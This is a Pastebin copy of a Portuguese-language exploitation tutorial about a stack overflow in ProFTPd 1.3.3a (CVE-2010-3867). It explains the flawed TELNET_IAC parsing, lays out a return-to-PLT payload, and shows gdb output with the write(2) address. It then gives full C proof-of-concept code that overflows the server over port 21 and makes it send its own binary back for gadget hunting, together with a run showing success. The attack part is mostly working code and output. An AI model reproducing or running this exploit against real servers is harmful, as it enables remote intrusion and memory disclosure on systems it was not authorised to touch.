DexterBRSan

Exploração de código remoto: uma técnica bastante eficaz - D

Nov 8th, 2014
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 105.85 KB | None | 0 0
  1. Exploração de código remoto: uma técnica bastante eficaz - D3xt3r *Português BR*
  2.  
  3. |=-------------------------------------------------------------------------------------=|
  4.  
  5. █████▒██▓ ▄▄▄ █ █░ ██▓ ▓█████ ██████ ██████
  6. ▓██ ▒▓██▒ ▒████▄ ▓█░ █ ░█░▓██▒ ▓█ ▀ ▒██ ▒ ▒██ ▒
  7. ▒████ ░▒██░ ▒██ ▀█▄ ▒█░ █ ░█ ▒██░ ▒███ ░ ▓██▄ ░ ▓██▄
  8. ░▓█▒ ░▒██░ ░██▄▄▄▄██ ░█░ █ ░█ ▒██░ ▒▓█ ▄ ▒ ██▒ ▒ ██▒
  9. ░▒█░ ░██████▒▓█ ▓██▒░░██▒██▓ ░██████▒░▒████▒▒██████▒▒▒██████▒▒
  10. ▒ ░ ░ ▒░▓ ░▒▒ ▓▒█░░ ▓░▒ ▒ ░ ▒░▓ ░░░ ▒░ ░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░
  11. ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░▒ ░ ░░ ░▒ ░ ░
  12. ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  13. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  14. ██▒ █▓ ██▓ ▄████▄ ▄▄▄█████▓ ▒█████ ██▀███ ▓██ ██▓
  15. ▓██░ █▒▓██▒▒██▀ ▀█ ▓ ██▒ ▓▒▒██▒ ██▒▓██ ▒ ██▒▒██ ██▒
  16. ▓██ █▒░▒██▒▒▓█ ▄ ▒ ▓██░ ▒░▒██░ ██▒▓██ ░▄█ ▒ ▒██ ██░
  17. ▒██ █░░░██░▒▓▓▄ ▄██▒░ ▓██▓ ░ ▒██ ██░▒██▀▀█▄ ░ ▐██▓░
  18. ▒▀█░ ░██░▒ ▓███▀ ░ ▒██▒ ░ ░ ████▓▒░░██▓ ▒██▒ ░ ██▒▓░
  19. ░ ▐░ ░▓ ░ ░▒ ▒ ░ ▒ ░░ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ██▒▒▒
  20. ░ ░░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░▓██ ░▒░
  21. ░░ ▒ ░░ ░ ░ ░ ░ ▒ ░░ ░ ▒ ▒ ░░
  22. ░ ░ ░ ░ ░ ░ ░ ░ ░
  23. ░ ░ ░ ░
  24.  
  25. |=-------------------------------------------------------------------------------------=|
  26. |=-----------=[ Exploração de código remoto: uma técnica bastante eficaz ]=------------=|
  27. |=-------------------------------------------------------------------------------------=|
  28. |=-----------------------=[ Ighor Augusto - a.k.a F0rb1dd3n ]=-------------------------=|
  29. |=-----------------------=[ f0rb1 [at] hotmail [dot] com ]=-------------------------=|
  30. |=-------------------------------------------------------------------------------------=|
  31.  
  32.  
  33. Olá pessoal. Estou aqui para falar sobre um assunto já muito falado na internet. Porém,
  34. talvez minha abordagem ajude muitas pessoas. Espero que este artigo contribua muito para
  35. os conhecimentos do leitor. Falarei sobre remote exploitation usando um simples e clássico
  36. stack overflow como exemplo. Entretanto esta técnica pode se estender à outros tipos de
  37. explorações de vulnerabilidades, cabe ao leitor enxergar aplicação desta técnica em outras
  38. situações.
  39.  
  40. Quando pensamos em exploração de vulnerabilidades, sempre nos deparamos com defesas anti-
  41. exploitations como ASLR, NX/PaX, AAAs, stack cookie e etc. Cada uma dessas defesas
  42. implementa conceitos e paradigmas diferentes. O que dificulta o sucesso de uma exploração
  43. e muita das vezes um impecílio para quem quer escrever seu exploit. Driblar o stack cookie
  44. pode parecer uma coisa meio dificil no inicio, porém uma técnica simples, descrita por Adam
  45. Zabrocki (a.k.a pi3) no seu artigo da Phrack 67, é muito facil de ser implementada e pode
  46. ser bastante eficaz em diversos ambientes: trata-se de um simples bruteforce byte a byte.
  47. Assim é possivel descobrir o valor do stack cannary e continuar a exploração. Apesar de
  48. tal técnica funcionar em um ambiente restrito (chamadas fork() que não são seguidas de
  49. execve()), há outras maneiras de driblar o cookie (pointer dereference é uma delas, porém
  50. a exploração deixa de ser stack overflow e passa a ser pointer dereference). Não abordarei
  51. o bypass de stack cookie nesse paper, porém fica a dica do artigo do pi3 e lá tem outras
  52. referências para tal.
  53.  
  54. Talvez uma das maiores dificuldades em explorar um software seja o ALSR. Geralmente é
  55. utilizado Return Oriented Programming para passar por esse tipo de defesa, porém há uma
  56. desvantagem: ROP utiliza dos bínários do proprio software explorado para poder encadear
  57. as instruções a serem executadas, ou seja, não é injetado código, mas sim reaproveitado
  58. o código do software alvo. A técnica aqui descrita, utiliza de programação orientada ao
  59. retorno para efetuar syscalls direto da PLT e injetar um shellcode. Assim estaremos aptos
  60. a burlar facilmente ASLR assim como outras defesas anti-exploitation, e injetando qualquer
  61. tipo de shellcode pré-programado. Bom chega de blá blá blá e vamos à prática!!!
  62.  
  63. Vou usar como exemplo uma vulnerabilidade no ProFTPd (CVE-2010-3867) descoberta por TJ
  64. Sounders. A técnica que vou usar, é proposta por Nikolaos Rangos (a.k.a Kingcope) que
  65. publicou um exploit em Perl desse mesmo bug implementando a técnica, que é facilmente
  66. achado no exploit-db.com. Utilizarei o ProFTPd 1.3.3a, rodando em um Ubuntu 10.04,
  67. kernel 2.6.35-22-generic.
  68.  
  69. Analizaremos a falha - segue abaixo um trecho adaptado por mim do artigo Scraps of
  70. notes on remote stack overflow exploitation do pi3 na Phrack 67:
  71.  
  72. O bug ocorre quando é feito o parsing dos caracteres TELNET_IAC
  73. devido a um erro de calculo no final do loop de leitura. O problema ocorre na função
  74. pr_netio_telnet_gets() do arquivo src/netio.c:
  75.  
  76. -------------------------------------------------------------------------------------------
  77.  
  78. char *pr_netio_telnet_gets(char *buf, size_t buflen,
  79. pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
  80. char *bp = buf;
  81.  
  82. ...
  83.  
  84. [L1] while (buflen) {
  85.  
  86. ...
  87.  
  88. toread = pr_netio_read(in_nstrm, pbuf->buf,
  89. (buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
  90. ...
  91.  
  92. [L2] while (buflen && toread > 0 && *pbuf->current != '\n'
  93. && toread--) {
  94. ...
  95. if (handle_iac == TRUE) {
  96. switch (telnet_mode) {
  97. case TELNET_IAC:
  98. switch (cp) {
  99.  
  100. ...
  101. ...
  102.  
  103. default:
  104.  
  105. ...
  106.  
  107. *bp++ = TELNET_IAC;
  108. [L3] buflen--;
  109.  
  110. telnet_mode = 0;
  111. break;
  112. }
  113. ...
  114. }
  115. }
  116.  
  117. *bp++ = cp;
  118. [L4] buflen--;
  119. }
  120. ...
  121. ...
  122. *bp = '\0';
  123. return buf;
  124. }
  125. }
  126.  
  127. --------------------------------------------------------------------------------------------
  128.  
  129. O loop (em L2) lê e faz o parse dos bytes recebidos, ao mesmo tempo é decrementado bufflen
  130. (o tamanho do buffer (em L4)). O problema ocorre quando os caracteres TELNET_IAC estão
  131. seguidos de 0xFF. Quando esse caractere ocorre no parsing de dados bufflen é decrementado
  132. (em L3). Então o resultado dessa situação é que o bufflen será decrementado em 2 bytes, e
  133. isto é perfeito para burlar uma verificação inapropriada (em L1). Portanto quando
  134. bufflen == 1 se o caractere TELNET_IAC for 0xFF então bufflen = 1 - 2 = -1. Como resultado
  135. o while(bufflen) (em L1) continuará e a copia de bytes continua até o final da string
  136. (quando o caractere "\n" é encontrado). A função pr_netio_telnet_gets() é chamada pela
  137. função pr_cmd_read() no arquivo src/main.c:
  138.  
  139. --------------------------------------------------------------------------------------------
  140.  
  141. int pr_cmd_read(cmd_rec **res) {
  142. static long cmd_bufsz = -1;
  143. char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};
  144.  
  145. ...
  146.  
  147. while (TRUE) {
  148.  
  149. ...
  150.  
  151. if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
  152. session.c->outstrm) == NULL) {
  153.  
  154. ...
  155.  
  156. }
  157.  
  158. ...
  159. ...
  160.  
  161. return 0;
  162. }
  163.  
  164. --------------------------------------------------------------------------------------------
  165.  
  166. Neste caso o argumento para a função vulneravel é um buffer local na pilha de execução,
  167. caracterizando uma vulnerabilidade classica de stack overflow.
  168.  
  169. Nesse trecho do artigo do pi3, ele explica o porque ocorre a falha. Então sabemos que temos
  170. que conectar no ProFTPd e passar o byte 0xFF na posição correta do buffer para que ocorra
  171. o decremento duplo e faremos o bypass da verificação do loop, ativando a vulnerabilidade.
  172.  
  173. Sabendo disso, podemos partir para a exploração! Para, conseguirmos achar os offsets de
  174. gadgets (para ROP), e das chamada das funções na PLT, temos que dar um jeito de ler os
  175. binários do servidor a ser explorado. Como? Aqui começa o pulo do gato, então sugiro prestar
  176. bastante atenção no que vem a seguir.
  177.  
  178. Se podemos tomar controle do EIP em uma exploração de stack overflow classico, então podemos
  179. "mandar" o EIP para o endereço de uma syscall, ou seja, temos que retornar para a função de
  180. sistema. Aqui implementamos return-to-plt ou return-to-function. Mas qual função retornar?
  181. Alguma função que nos envie os bytes lidos do servidor. Então nada melhor que utilizar a
  182. syscall write(2) para efetuar essa funçao, olhem só:
  183.  
  184. --------------------------------------------------------------------------------------------
  185.  
  186. WRITE(2) Linux Programmer's Manual WRITE(2)
  187. NAME top
  188.  
  189. write - write to a file descriptor
  190. SYNOPSIS top
  191.  
  192. #include <unistd.h>
  193.  
  194. ssize_t write(int fd, const void *buf, size_t count);
  195. DESCRIPTION top
  196.  
  197. write() writes up to count bytes from the buffer pointed buf to the
  198. file referred to by the file descriptor fd.
  199.  
  200. The number of bytes written may be less than count if, for example,
  201. there is insufficient space on the underlying physical medium, or the
  202. RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the
  203. call was interrupted by a signal handler after having written less
  204. than count bytes. (See also pipe(7).)
  205.  
  206. For a seekable file (i.e., one to which lseek(2) may be applied, for
  207. example, a regular file) writing takes place at the current file
  208. offset, and the file offset is incremented by the number of bytes
  209. actually written. If the file was open(2)ed with O_APPEND, the file
  210. offset is first set to the end of the file before writing. The
  211. adjustment of the file offset and the write operation are performed
  212. as an atomic step.
  213.  
  214. POSIX requires that a read(2) which can be proved to occur after a
  215. write() has returned returns the new data. Note that not all
  216. filesystems are POSIX conforming.
  217. RETURN VALUE top
  218.  
  219. On success, the number of bytes written is returned (zero indicates
  220. nothing was written). On error, -1 is returned, and errno is set
  221. appropriately.
  222.  
  223. If count is zero and fd refers to a regular file, then write() may
  224. return a failure status if one of the errors below is detected. If
  225. no errors are detected, 0 will be returned without causing any other
  226. effect. If count is zero and fd refers to a file other than a
  227. regular file, the results are not specified.
  228.  
  229. ...
  230. ...
  231.  
  232. ----------------------------------------------------------------------------------------------
  233.  
  234. Então write(2) escreve dados de um buffer em um file descriptor. E o que é um socket no linux?
  235. Nada mais nada menos que um file descriptor. Então com essa função podemos escrever bytes de
  236. um buffer em um socket, como haverá conexão aberta com esse socket, os bytes escritos nele
  237. serão enviados para a máquina conectada. Resumindo, com write(2) podemos enviar bytes de um
  238. buffer em uma conexão de socket. Então vejam como ficará inicialmente nosso buffer para chamar
  239. write(2):
  240.  
  241. buffer:
  242.  
  243. -> Bytes 0x00 simulando uma conexão TELNET_IAC que nao faz nada (número de bytes a definir)
  244. -> Byte 0xFF (aqui ativamos a vulnerabilidade)
  245. -> Junk (bytes aleatórios para preencher o buffer até sobrescrever o endereço de retorno)
  246. -> Endereço da chamada write(2)
  247. -> Crash (bytes para parar a execução após a chamada write(2))
  248. -> File descriptor para write(2) - Será o descritor de arquivo do socket conectado
  249. -> Endereço do buffer onde write(2) irá ler os bytes a serem escritos no socket
  250. -> Tamanho do buffer a ser lido
  251. -> \x0a\x0d - finalizador de string ("\n")
  252.  
  253. esquematicamente fica assim:
  254.  
  255. \xff\x00\x00\x00 --------> Ativando a vulnerabilidade
  256. \x41\x41\x41\x41 -----|
  257. ... |--> \x41 = A (na tabela ASCII)
  258. \x41\x41\x41\x41 -----|
  259. Endereço de write
  260. \xcc\xcc\xcc\xcc --------> \xcc = breakpoint (pára a execução)
  261. \x01\x00\x00\x00 --------> file descriptor do socket no ProFTPd
  262. Endereço de write -------> Usarei o endereço da propria chamada de write como ponto de partida
  263. \xff\xff\x0f\x00 --------> número de bytes a serem lido (0xfffff bytes)
  264. \x0a\x0d ----------------> finalizador de string
  265.  
  266. Como estamos utilizando a arquitetura x86, então os bytes são tratados em little endian, por
  267. isso estão "invertidos". Como a região de JUNK não servirá para nada além de preencher o
  268. buffer, coloquei \x41 (equivalente a letra A na tabela ASCII), pois é um valor neutro que não
  269. fará diferença alguma. Os bytes logo despois a chamada write(2), servem para parar a execução.
  270. Pois após executarmos a chamada write(2) o próximo endereço será a instrução após o retorno,
  271. como no nosso buffer utilizaremos as proximas regiões e para evitarmos problemas de execução,
  272. é colocado valor de breakpoint para que a conexão trave e seja encerrada. O file descriptor
  273. do socket utilizado para a conexão é 01, que é facilmente descoberto analizando o processo
  274. do ProFTPd. Existem ferramentas nativas do linux que mostram os file descriptors usados em um
  275. processo, e debuggando, também, é outro caminho. Assim como o tamanho do offset antes de 0xFF
  276. (para ativar a vulnerabilidade) e o tamanho do JUNK para preencher o buffer até sobrescrever
  277. o endereço de retorno, são coisas faceis de serem determinadas atravéz de debug do processo.
  278. Então deixarei essas coisinhas a cargo do leitor, para que possa exercitar suas habilidades
  279. de debugging, que é excencial para uma exploração de sucesso. Utilizarei o endereço da chamada
  280. write(2) como ponto de partida para leitura dos bytes, mas poderia ser qualquer endereço de
  281. memória onde reside os binários do ProFTPd (quanto mais próximo do início melhor!) Os bytes
  282. \xff\xff\x0f\x00 mostram o tamanho do buffer a ser lido, pode ser qualquer valor, mas quanto
  283. maior melhor, mais bytes serão lidos. Esse tamanho é o tamanho necessário para ler todos os
  284. bytes dos binários do ProFTPd. Mas e o endereço de write(2)? Pode ser facilmente encontrado
  285. com objdump e outras ferramentas de disassembly, porém uma listagem de funções com o gdb já
  286. basta:
  287.  
  288. Máquina a ser atacada: -------------------------------------------------------------------------------
  289.  
  290. root@ubuntu:/home/neo# ps aux | grep proftpd
  291. proftpd 1283 0.0 0.0 8360 1712 ? Ss Sep11 0:00 proftpd: (accepting connections)
  292. root 5047 0.0 0.0 4172 752 pts/0 S+ 08:49 0:00 grep --color=auto proftpd
  293. root@ubuntu:/home/neo# gdb -q
  294. (gdb) attach 1283
  295. Attaching to process 1283
  296. Reading symbols from /usr/sbin/proftpd...(no debugging symbols found)...done.
  297. Reading symbols from /lib/i386-linux-gnu/libcrypt.so.1...(no debugging symbols found)...done.
  298. Loaded symbols for /lib/i386-linux-gnu/libcrypt.so.1
  299. Reading symbols from /lib/i386-linux-gnu/libz.so.1...(no debugging symbols found)...done.
  300. Loaded symbols for /lib/i386-linux-gnu/libz.so.1
  301. Reading symbols from /lib/libacl.so.1...(no debugging symbols found)...done.
  302. Loaded symbols for /lib/libacl.so.1
  303. Reading symbols from /lib/libattr.so.1...(no debugging symbols found)...done.
  304. Loaded symbols for /lib/libattr.so.1
  305. Reading symbols from /lib/libssl.so.0.9.8...(no debugging symbols found)...done.
  306. Loaded symbols for /lib/libssl.so.0.9.8
  307. Reading symbols from /lib/libcrypto.so.0.9.8...(no debugging symbols found)...done.
  308. Loaded symbols for /lib/libcrypto.so.0.9.8
  309. Reading symbols from /lib/libcap.so.2...(no debugging symbols found)...done.
  310. Loaded symbols for /lib/libcap.so.2
  311. Reading symbols from /lib/libpam.so.0...(no debugging symbols found)...done.
  312. Loaded symbols for /lib/libpam.so.0
  313. Reading symbols from /lib/i386-linux-gnu/libdl.so.2...(no debugging symbols found)...done.
  314. Loaded symbols for /lib/i386-linux-gnu/libdl.so.2
  315. Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
  316. Loaded symbols for /lib/i386-linux-gnu/libc.so.6
  317. Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
  318. Loaded symbols for /lib/ld-linux.so.2
  319. Reading symbols from /lib/i386-linux-gnu/libnss_files.so.2...(no debugging symbols found)...done.
  320. Loaded symbols for /lib/i386-linux-gnu/libnss_files.so.2
  321. Reading symbols from /usr/lib/proftpd/mod_ctrls_admin.so...(no debugging symbols found)...done.
  322. Loaded symbols for /usr/lib/proftpd/mod_ctrls_admin.so
  323. Reading symbols from /usr/lib/proftpd/mod_tls.so...(no debugging symbols found)...done.
  324. Loaded symbols for /usr/lib/proftpd/mod_tls.so
  325. Reading symbols from /usr/lib/proftpd/mod_radius.so...(no debugging symbols found)...done.
  326. Loaded symbols for /usr/lib/proftpd/mod_radius.so
  327. Reading symbols from /usr/lib/proftpd/mod_quotatab.so...(no debugging symbols found)...done.
  328. Loaded symbols for /usr/lib/proftpd/mod_quotatab.so
  329. Reading symbols from /usr/lib/proftpd/mod_quotatab_file.so...(no debugging symbols found)...done.
  330. Loaded symbols for /usr/lib/proftpd/mod_quotatab_file.so
  331. Reading symbols from /usr/lib/proftpd/mod_quotatab_radius.so...(no debugging symbols found)...done.
  332. Loaded symbols for /usr/lib/proftpd/mod_quotatab_radius.so
  333. Reading symbols from /usr/lib/proftpd/mod_wrap.so...(no debugging symbols found)...done.
  334. Loaded symbols for /usr/lib/proftpd/mod_wrap.so
  335. Reading symbols from /lib/libwrap.so.0...(no debugging symbols found)...done.
  336. Loaded symbols for /lib/libwrap.so.0
  337. Reading symbols from /lib/i386-linux-gnu/libnsl.so.1...(no debugging symbols found)...done.
  338. Loaded symbols for /lib/i386-linux-gnu/libnsl.so.1
  339. Reading symbols from /usr/lib/proftpd/mod_rewrite.so...(no debugging symbols found)...done.
  340. Loaded symbols for /usr/lib/proftpd/mod_rewrite.so
  341. Reading symbols from /usr/lib/proftpd/mod_load.so...(no debugging symbols found)...done.
  342. Loaded symbols for /usr/lib/proftpd/mod_load.so
  343. Reading symbols from /usr/lib/proftpd/mod_ban.so...(no debugging symbols found)...done.
  344. Loaded symbols for /usr/lib/proftpd/mod_ban.so
  345. Reading symbols from /usr/lib/proftpd/mod_wrap2.so...(no debugging symbols found)...done.
  346. Loaded symbols for /usr/lib/proftpd/mod_wrap2.so
  347. Reading symbols from /usr/lib/proftpd/mod_wrap2_file.so...(no debugging symbols found)...done.
  348. Loaded symbols for /usr/lib/proftpd/mod_wrap2_file.so
  349. Reading symbols from /usr/lib/proftpd/mod_dynmasq.so...(no debugging symbols found)...done.
  350. Loaded symbols for /usr/lib/proftpd/mod_dynmasq.so
  351. Reading symbols from /usr/lib/proftpd/mod_vroot.so...(no debugging symbols found)...done.
  352. Loaded symbols for /usr/lib/proftpd/mod_vroot.so
  353. Reading symbols from /usr/lib/proftpd/mod_exec.so...(no debugging symbols found)...done.
  354. Loaded symbols for /usr/lib/proftpd/mod_exec.so
  355. Reading symbols from /usr/lib/proftpd/mod_shaper.so...(no debugging symbols found)...done.
  356. Loaded symbols for /usr/lib/proftpd/mod_shaper.so
  357. Reading symbols from /usr/lib/proftpd/mod_ratio.so...(no debugging symbols found)...done.
  358. Loaded symbols for /usr/lib/proftpd/mod_ratio.so
  359. Reading symbols from /usr/lib/proftpd/mod_site_misc.so...(no debugging symbols found)...done.
  360. Loaded symbols for /usr/lib/proftpd/mod_site_misc.so
  361. Reading symbols from /usr/lib/proftpd/mod_sftp.so...(no debugging symbols found)...done.
  362. Loaded symbols for /usr/lib/proftpd/mod_sftp.so
  363. Reading symbols from /usr/lib/proftpd/mod_sftp_pam.so...(no debugging symbols found)...done.
  364. Loaded symbols for /usr/lib/proftpd/mod_sftp_pam.so
  365. Reading symbols from /usr/lib/proftpd/mod_facl.so...(no debugging symbols found)...done.
  366. Loaded symbols for /usr/lib/proftpd/mod_facl.so
  367. Reading symbols from /usr/lib/proftpd/mod_unique_id.so...(no debugging symbols found)...done.
  368. Loaded symbols for /usr/lib/proftpd/mod_unique_id.so
  369. Reading symbols from /usr/lib/proftpd/mod_ifsession.so...(no debugging symbols found)...done.
  370. Loaded symbols for /usr/lib/proftpd/mod_ifsession.so
  371. Reading symbols from /lib/i386-linux-gnu/libnss_compat.so.2...(no debugging symbols found)...done.
  372. Loaded symbols for /lib/i386-linux-gnu/libnss_compat.so.2
  373. Reading symbols from /lib/i386-linux-gnu/libnss_nis.so.2...(no debugging symbols found)...done.
  374. Loaded symbols for /lib/i386-linux-gnu/libnss_nis.so.2
  375. 0x00cf9416 in __kernel_vsyscall ()
  376. (gdb) info functions
  377. All defined functions:
  378.  
  379. Non-debugging symbols:
  380. 0x08052ff8 _init
  381. 0x08053038 fileno
  382. 0x08053038 fileno@plt
  383. 0x08053048 __errno_location
  384. 0x08053048 __errno_location@plt
  385. 0x08053058 statvfs64
  386. 0x08053058 statvfs64@plt
  387. 0x08053068 sigemptyset
  388. 0x08053068 sigemptyset@plt
  389. 0x08053078 sprintf
  390. 0x08053078 sprintf@plt
  391. 0x08053088 srand
  392. 0x08053088 srand@plt
  393. 0x08053098 pam_start
  394. 0x08053098 pam_start@plt
  395. 0x080530a8 connect
  396. 0x080530a8 connect@plt
  397. 0x080530b8 setgroups
  398. 0x080530b8 setgroups@plt
  399. 0x080530c8 pam_close_session
  400. 0x080530c8 pam_close_session@plt
  401. 0x080530d8 getpid
  402. 0x080530d8 getpid@plt
  403. 0x080530e8 mkdir
  404. 0x080530e8 mkdir@plt
  405. 0x080530f8 dirfd
  406. 0x080530f8 dirfd@plt
  407. 0x08053108 strerror
  408. 0x08053108 strerror@plt
  409. 0x08053118 creat64
  410. 0x08053118 creat64@plt
  411. 0x08053128 getsockname
  412. 0x08053128 getsockname@plt
  413. 0x08053138 regfree
  414. 0x08053138 regfree@plt
  415. 0x08053148 setrlimit64
  416. 0x08053148 setrlimit64@plt
  417. 0x08053158 strcoll
  418. 0x08053158 strcoll@plt
  419. 0x08053168 sysconf
  420. 0x08053168 sysconf@plt
  421. 0x08053178 qsort
  422. 0x08053178 qsort@plt
  423. 0x08053188 freeaddrinfo
  424. 0x08053188 freeaddrinfo@plt
  425. 0x08053198 shutdown
  426. 0x08053198 shutdown@plt
  427. 0x080531a8 pam_strerror
  428. 0x080531a8 pam_strerror@plt
  429. 0x080531b8 open64
  430. 0x080531b8 open64@plt
  431. 0x080531c8 signal
  432. 0x080531c8 signal@plt
  433. 0x080531d8 __gmon_start__
  434. 0x080531d8 __gmon_start__@plt
  435. 0x080531e8 realloc
  436. 0x080531e8 realloc@plt
  437. 0x080531f8 siginterrupt
  438. 0x080531f8 siginterrupt@plt
  439. 0x08053208 iconv_open
  440. 0x08053208 iconv_open@plt
  441. 0x08053218 rewind
  442. 0x08053218 rewind@plt
  443. 0x08053228 unsetenv
  444. 0x08053228 unsetenv@plt
  445. 0x08053238 __xstat64
  446. 0x08053238 __xstat64@plt
  447. 0x08053248 localtime
  448. 0x08053248 localtime@plt
  449. 0x08053258 getgrnam
  450. 0x08053258 getgrnam@plt
  451. 0x08053268 strtod
  452. 0x08053268 strtod@plt
  453. 0x08053278 strchr
  454. 0x08053278 strchr@plt
  455. 0x08053288 vsnprintf
  456. 0x08053288 vsnprintf@plt
  457. 0x08053298 getenv
  458. 0x08053298 getenv@plt
  459. 0x080532a8 calloc
  460. 0x080532a8 calloc@plt
  461. 0x080532b8 strncpy
  462. 0x080532b8 strncpy@plt
  463. 0x080532c8 fchown
  464. 0x080532c8 fchown@plt
  465. 0x080532d8 write
  466. 0x080532d8 write@plt <--------------- endereço de write(2) na PLT (0x080532d8)
  467. 0x080532e8 tzset
  468. 0x080532e8 tzset@plt
  469. 0x080532f8 fgetpwent
  470. 0x080532f8 fgetpwent@plt
  471. 0x08053308 cap_set_proc
  472. 0x08053308 cap_set_proc@plt
  473. 0x08053318 listen
  474. 0x08053318 listen@plt
  475. 0x08053328 dlclose
  476. 0x08053328 dlclose@plt
  477. ...
  478.  
  479. ...
  480. ...
  481.  
  482. -------------------------------------------------------------------------------------------------
  483.  
  484. Então sabemos que o endereço para write(2) é 0x080532d8, debugando o software encontra-se que o
  485. alinhamento para ativar a vulnerabilidade é de 4101 bytes e o numero de bytes para Junk é 34.
  486. Então já temos o suficiente para escrever uma prova de conceito para chamada write(2). Olhe só
  487. nosso código:
  488.  
  489. -------------------------------------------------------------------------------------------------
  490.  
  491. #include <stdio.h>
  492. #include <stdlib.h>
  493. #include <string.h>
  494. #include <sys/socket.h>
  495. #include <netinet/in.h>
  496. #include <arpa/inet.h>
  497. #include <netdb.h>
  498.  
  499. #define OFFSET 4101
  500. #define PADDING 34
  501. #define WRITE 0x080532d8
  502.  
  503. char write_fd[]="\x01\x00\x00\x00";
  504. char write_len[]="\xff\xff\x0f\x00";
  505.  
  506. char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  507. "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  508. "\x41\x41\x41\x41";
  509.  
  510. // A function to display an error message and then exit
  511. void fatal(char *message) {
  512. char error_message[100];
  513.  
  514. strcpy(error_message, "[!!] Fatal Error ");
  515. strncat(error_message, message, 83);
  516. perror(error_message);
  517. exit(-1);
  518. }
  519.  
  520. // dumps raw memory in hex byte and printable split format
  521. void dump(const unsigned char *data_buffer, const unsigned int length) {
  522. unsigned char byte;
  523. unsigned int i, j;
  524. for(i=0; i < length; i++) {
  525. byte = data_buffer[i];
  526. printf("%02x ", data_buffer[i]); // display byte in hex
  527. if(((i%16)==15) || (i==length-1)) {
  528. for(j=0; j < 15-(i%16); j++)
  529. printf(" ");
  530. printf("| ");
  531. for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line
  532. byte = data_buffer[j];
  533. if((byte > 31) && (byte < 127)) // outside printable char range
  534. printf("%c", byte);
  535. else
  536. printf(".");
  537. }
  538. printf("\n"); // end of the dump line (each line 16 bytes)
  539. } // end if
  540. } // end for
  541. printf("\n");
  542. }
  543.  
  544. int main(int argc, char *argv[]) {
  545. int sockfd;
  546. struct hostent *host_info;
  547. struct sockaddr_in target_addr;
  548. unsigned char buffer[OFFSET+1+PADDING+22];
  549. unsigned char read_buffer[0xfffff];
  550.  
  551. if(argc < 2) {
  552. printf("\n\t Showcase Telnet IAC remote call write(2)\n");
  553. printf("\t Writen by: F0rb1dd3n\n");
  554. printf("\n\t Usage: %s <target IP> <your IP>\n\n", argv[0]);
  555. exit(1);
  556. }
  557.  
  558. if((host_info = gethostbyname(argv[1])) == NULL)
  559. fatal("looking up hostname");
  560.  
  561. target_addr.sin_family = AF_INET;
  562. target_addr.sin_port = htons(21);
  563. target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
  564. memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct
  565.  
  566. printf("\n\t Showcase Telnet IAC remote call write(2)\n");
  567. printf("\t Writen by: F0rb1dd3n\n");
  568. printf("\n\t Target: %s\n", argv[1]);
  569.  
  570. printf("\n\t Trying write(2) offset: 0x%08x", WRITE);
  571.  
  572. bzero(buffer, OFFSET+1+PADDING+22); // zero out the buffer
  573. memcpy(buffer+OFFSET, "\xff", 1); // triggering the vulnerability
  574. memcpy(buffer+OFFSET+1, junk, strlen(junk)); // junk
  575. *((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE; // write address
  576. memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); // crash dummy
  577. memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd)); // fd for write
  578. *((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE; // buffer for write
  579. memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len)); // lenght for write
  580. memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2); // end of buffer
  581.  
  582. if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  583. fatal("in socket");
  584.  
  585. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
  586. fatal("connecting to target server");
  587.  
  588. write(sockfd, buffer, OFFSET+1+PADDING+22);
  589. bzero(read_buffer, sizeof(read_buffer));
  590.  
  591. if(read(sockfd, read_buffer, 0xfffff) != 0) {
  592. printf("\n\t [+] Success on write(2)\n\n");
  593. close(sockfd);
  594.  
  595. dump(read_buffer, 0xffff);
  596. }
  597. }
  598.  
  599. ------------------------------------------------------------------------------------------------
  600.  
  601. Nosso código é simples e eficaz. O que ele faz? Ele cria um socket, conecta no ProFTPd, cria um
  602. buffer como nós previmos acima, envia o buffer atravéz de write(), nosso buffer irá explorar a
  603. vulnerabilidade e executar a syscall write(2), então os binários do servidor serão retornados
  604. para nós, portanto iremos ler os bytes retornados no socket com read() e colocamos eles em
  605. read_buffer, em seguida, se a operação foi um sucesso, imprimimos os bytes na tela com a função
  606. escrita por mim dump(). Vejam a saída do nosso programa:
  607.  
  608. Máquina atacante: -------------------------------------------------------------------------------
  609.  
  610. root@kali:~/Studies# gcc proftpd-call-write.c -o proftpd-call-write
  611. root@kali:~/Studies# ./proftpd-call-write
  612.  
  613. Showcase Telnet IAC remote call write(2)
  614. Writen by: F0rb1dd3n
  615.  
  616. Usage: ./proftpd-call-write <target IP> <your IP>
  617.  
  618. root@kali:~/Studies# ./proftpd-call-write 192.168.25.18
  619.  
  620. Showcase Telnet IAC remote call write(2)
  621. Writen by: F0rb1dd3n
  622.  
  623. Target: 192.168.25.18
  624.  
  625. Trying write(2) offset: 0x080532d8
  626. [+] Success on write(2)
  627.  
